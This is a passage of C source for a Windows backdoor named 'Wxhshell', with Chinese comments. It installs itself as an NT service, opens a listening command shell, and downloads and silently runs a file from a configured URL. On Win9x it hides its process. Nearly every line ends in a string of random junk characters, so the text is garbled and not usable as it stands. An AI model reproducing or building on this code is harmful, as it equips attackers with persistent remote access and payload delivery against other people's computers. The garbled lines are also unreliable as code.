DWORD AffinityMask; 0 Tcz[$?
DWORD BasePriority; 2;:lK" :
ULONG UniqueProcessId; {Q)dU-\
ULONG InheritedFromUniqueProcessId; ^:qD .h>&
} PROCESS_BASIC_INFORMATION; NMXnrvS&
hUVk54~l
PROCNTQSIP NtQueryInformationProcess; i{8]'fM
|~SE"
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I> {!U$
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {3hqp*xl
8N%z9b
HANDLE hProcess; ?*[\UC
PROCESS_BASIC_INFORMATION pbi; -b
cG[W3
Iz#yQ`
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %yp5DD}|
if(NULL == hInst ) return 0; NZ>7dJ
CoU3S,;*
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =HVfJ"vK
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e
RA7i
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dFQo
`gt:gx>a
if (!NtQueryInformationProcess) return 0; !"Qb}g
7Rnm%8?T
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F\5X7ditD
if(!hProcess) return 0; CWs: l3_yn
|| [89G
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }'%^jt[3
6O9iEc,HM
CloseHandle(hProcess); O#Z/+\U
-I ?z-?<D
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9 ~~qAoD
if(hProcess==NULL) return 0; ^]6M["d/p
ABc)2"i:*
HMODULE hMod; RlrZxmPV>O
char procName[255]; id^|\hDR
unsigned long cbNeeded; 6
}! Z"
pTWg
m\h
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q"%QQo}}
Z?17Pu'Dp
CloseHandle(hProcess); 0#QKVZq2>
p%F8'2)}
if(strstr(procName,"services")) return 1; // 以服务启动 4U?<vby
U/Wrh($ #4
return 0; // 注册表启动 b6"}"bG
} vt.P*Z5
}taLk@T
// 主模块 y}N&/}M:}8
int StartWxhshell(LPSTR lpCmdLine) p*
RC
{ icE|.[
SOCKET wsl; .s2$al
BOOL val=TRUE; G}VDEC
int port=0; o@9+mM"B)
struct sockaddr_in door; w?*z^y@
w$j{Hp6m
if(wscfg.ws_autoins) Install(); DzC Df@TB"
6\4Z\82
port=atoi(lpCmdLine); XA)'=L!^
mG2VZ>
if(port<=0) port=wscfg.ws_port; N5?IpE
llq*T"7
WSADATA data; ,}0$Tv\1
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]]TqP{H
xvmt.> f
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; J!hFN]M<<
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TQf L%JT
door.sin_family = AF_INET; BC! 6O/kr
door.sin_addr.s_addr = inet_addr("127.0.0.1"); U]hF
door.sin_port = htons(port); hv>KX
dv~pddOs
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YLOwQj'
closesocket(wsl); nIn2 *r
return 1; R`#W wx>b
} N}b^fTq
:"QfF@Z{
if(listen(wsl,2) == INVALID_SOCKET) { NQX>Qh
2
closesocket(wsl); o0ZBi|U\4
return 1; S8" f]5s
} zrRFn `B
Wxhshell(wsl); *}cSE|S%
WSACleanup(); 7+nm31,<O
>{5
p0
return 0; \\:|Odd
&nY;=Hv`WY
} r\2vl8X~
7 Wl-n
// 以NT服务方式启动 ~$<UE}qp
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CqFeF?xd8h
{ uSN"vpc4D
DWORD status = 0; Nxk(mec"
DWORD specificError = 0xfffffff; $6h*lT<
J;}3t!
serviceStatus.dwServiceType = SERVICE_WIN32; O9s?h3
serviceStatus.dwCurrentState = SERVICE_START_PENDING; icgJ;Q 5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D!F 2l_
serviceStatus.dwWin32ExitCode = 0; d'"r("w#
serviceStatus.dwServiceSpecificExitCode = 0; E{y1S\7K
serviceStatus.dwCheckPoint = 0; <*(^{a.O
serviceStatus.dwWaitHint = 0; WO X}Sw"
yZCX S
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &Z;_TN9[
if (hServiceStatusHandle==0) return; T95t"g?p
W.I\J<=V
status = GetLastError(); dNiH|-$an
if (status!=NO_ERROR) |3shc,7
{ F~HRME;Z
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5o)Y$>T0
serviceStatus.dwCheckPoint = 0; 8Pmdk1 ~
serviceStatus.dwWaitHint = 0; ""% A'TZ
serviceStatus.dwWin32ExitCode = status; 3qaMO#{M
serviceStatus.dwServiceSpecificExitCode = specificError; ''H"^oS
SetServiceStatus(hServiceStatusHandle, &serviceStatus); SeEw.;Xw
return; n~.*1. P
} v2)g 1sXd
< zOi4v0
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5Bjgr
serviceStatus.dwCheckPoint = 0; ;65D
serviceStatus.dwWaitHint = 0; y(W|eBe
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZU{4lhe
} 9GU]l7C=z
e6E?t[hEeS
// 处理NT服务事件,比如:启动、停止 R>/NE!q
VOID WINAPI NTServiceHandler(DWORD fdwControl) xY<{qHcX
{ Vh|\ _~9
switch(fdwControl) A+getdr
{ 2;2}wM[
case SERVICE_CONTROL_STOP: -e*ZCwQ
serviceStatus.dwWin32ExitCode = 0; :E&g%'1
serviceStatus.dwCurrentState = SERVICE_STOPPED; YXW%]Uy+
serviceStatus.dwCheckPoint = 0; (MLwQiop
serviceStatus.dwWaitHint = 0; Y?d9l
{ hK|j6xf.o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #%lo;W~IY
} ;# uZhd
return; 5!X1G8h)uy
case SERVICE_CONTROL_PAUSE: O|kOI?f
serviceStatus.dwCurrentState = SERVICE_PAUSED; ! RW
`3
break; @?
c2)0
case SERVICE_CONTROL_CONTINUE: *L4`$@l8
serviceStatus.dwCurrentState = SERVICE_RUNNING; Lel|,mc`k2
break; NZ0O,}m
case SERVICE_CONTROL_INTERROGATE: 5PT5#[
break; MGJ.,tK1
}; k8AW6oO/i
SetServiceStatus(hServiceStatusHandle, &serviceStatus); r^Zg-|gr
} Ztr Cv?
_hu")os
// 标准应用程序主函数 TZR)C P5
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %McE`155
{ eW J`$"z
*{
{b~$
// 获取操作系统版本 b^0}}12
OsIsNt=GetOsVer(); J aTp}#
GetModuleFileName(NULL,ExeFile,MAX_PATH); 457\&
`Ag{)
// 从命令行安装 **3 z;58i
if(strpbrk(lpCmdLine,"iI")) Install(); 9iUr nG*
q
11IkDa
// 下载执行文件 )3Z ^h<"j
if(wscfg.ws_downexe) { Ej".axjT
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W2FD+ wt
WinExec(wscfg.ws_filenam,SW_HIDE); _tTN G2
} gKYfQ+
m,UGWR
if(!OsIsNt) { :a
->0 l
// 如果时win9x,隐藏进程并且设置为注册表启动 pi<TFe@eG
HideProc(); anMF-x4/*q
StartWxhshell(lpCmdLine); R_XR4)(<
} ?W^c4NtP
else UcOk3{(z$q
if(StartFromService()) {(U %i\F\
// 以服务方式启动 {!t7[Ctb
StartServiceCtrlDispatcher(DispatchTable); eq(am%3~
else fk1ASV<rN
// 普通方式启动 ojvj}ln
StartWxhshell(lpCmdLine); '(bgs
?T9(Vw
return 0; .sC?7O=
}